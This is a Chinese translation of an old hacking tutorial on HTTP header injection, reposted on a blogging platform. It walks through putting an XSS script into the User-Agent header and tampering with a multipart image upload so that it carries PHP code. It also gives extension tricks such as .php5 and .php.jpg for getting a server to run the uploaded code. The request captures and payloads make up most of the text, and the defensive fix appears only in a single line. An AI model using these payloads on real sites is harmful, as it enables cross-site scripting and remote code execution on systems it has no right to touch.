HTTP消息头注入

这份论文只为教育目的。

我发现我的BLOGSPOT程序非常的糟糕,所有的提交都是非常的糟糕,于是我决心做一个好的版本。对不起,我的英语说的不是很好,我会继续努力的,OK,让我们开始这篇简短的文章,你是怎么认为看到一个上传的页面,我认为,也许每个人都会想这是一个非常不错的BUG。跨站上传是一个不错的主意,你也可以把文件重命名为“File.php.jpg”。然而我们将要谈论的跨站就是在消息头中,存在这种漏洞的页面是高风险的。

关于HTTP消息头:http://en.wikipedia.org/wiki/List_of_HTTP_headers

你要知道我们可以修改HTTP头应答包,就像一个注射的例子(要理解这个或做一些测试,你需要下载并安装在FireFox Addon中搜索”Live HTTP Headers”)运行这个Addon当你输入Google.com回车后,如例子你将看到一些应答包数据,如下:

Host: google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

你知道有多少站点会在这个页面中打印你的IP和浏览器?很多!,你认为这样正解吗?你可以改变这个消息头和制做一个测试用的XSS(Cross Site Scripting),许多的站点存在这种类型的漏洞而造到攻击,因为WEB管理员毫不知道关于这类的BUG;我记得不是很清楚,但是Astalavista前几个月也是这种类型的攻击漏洞—HTTP HEADER INJECTION。现在当你拿着HTTP消息头的应答包打开你的Addon Live http headers单击上面的选项”replay”和修改浏览器/ user agent如下例:

Host: google.com

User-Agent:<script>alert(/XSS/)</script>

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

当你再次单击”replay”你会看到结果正是你http消息头的注入结果,测试中发现85%的页面都存在这样的BUG,如果你要去一个WEB程序中你务必保持警觉。你知道怎么修改这个程序吗?只需要使用htmlspecialchars();函数。那是关于XSS的利用,但是我对跨站上传的时候制做http header注入感兴趣.

让我们看这个HTTP头的,消息包,是在我上传一个”IMAGE”时的全部代码:

Host: www.webiste.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://website.com

Content-Type: multipart/form-data; boundary=---------------------------23864205337548

Content-Length: 322

-----------------------------23864205337548

Content-Disposition: form-data; name="userfile"; filename="image.jpg"

Content-Type: image/jpeg


phpinfo();

?>

-----------------------------23864205337548

Content-Disposition: form-data; name="submit"

Subir imagen

-----------------------------23864205337548--

这是我在http消息头中推测出的图片应答包。在这中间你可以看到PHP代码,OK,让我们尝试一些不同的,我们可以去改变这个名称为图片和其他的扩展名如例子:.php(由于一些站点以经把漏洞给补上了,不可以上传PHP扩展名,你可以去尝试

php5,php4,php.jpg,php.png,etc);

Content-Disposition: form-data; name="userfile"; filename="image.php"

Content-Type: image/jpeg


phpinfo();

?>

-----------------------------23864205337548

Content-Disposition: form-data; name="submit"

Subir imagen

-----------------------------23864205337548—

当我们发送replay后,让我们看一下HTTP消息头注入的返回结果;我们得到POST发送的错误,内容是过于长。退出这个错误提示,再次点击发送replay在外面:

Content-Length: 322

如果上传漏洞存在,你将看到你所上传代码执行后的页面,当你点击这个连接就会看到你假图片.我希望你们在这篇论文里学到新的知识,致意。

Author : Psiczn

Website: www.psiczn.uni.cc

Contact: Psiczn@gmail.com

Note : If you are going to post this little paper in some site please put the source and the

author, this paper have copyright.

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 什么是HTTP Headers HTTP是“Hypertext Transfer Protocol”的所写,整个万...
    苏文星阅读 2,694评论 0 4
  • 请求类型 三种最常见的请求类型是:GET,POST 和 HEAD GET:获取一个文档 大部分被传输到浏览器的ht...
    拾穗丶阅读 3,181评论 0 4
  • ¥开启¥ 【iAPP实现进入界面执行逐一显】 〖2017-08-25 15:22:14〗 《//首先开一个线程,因...
    小菜c阅读 6,510评论 0 17
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,908评论 18 139
  • 2017年张桂萍分享连接真我天使指导灵奇迹感恩 -一、奇迹 1:我很开心地连读...
    富足开心喜悦张桂萍阅读 425评论 0 0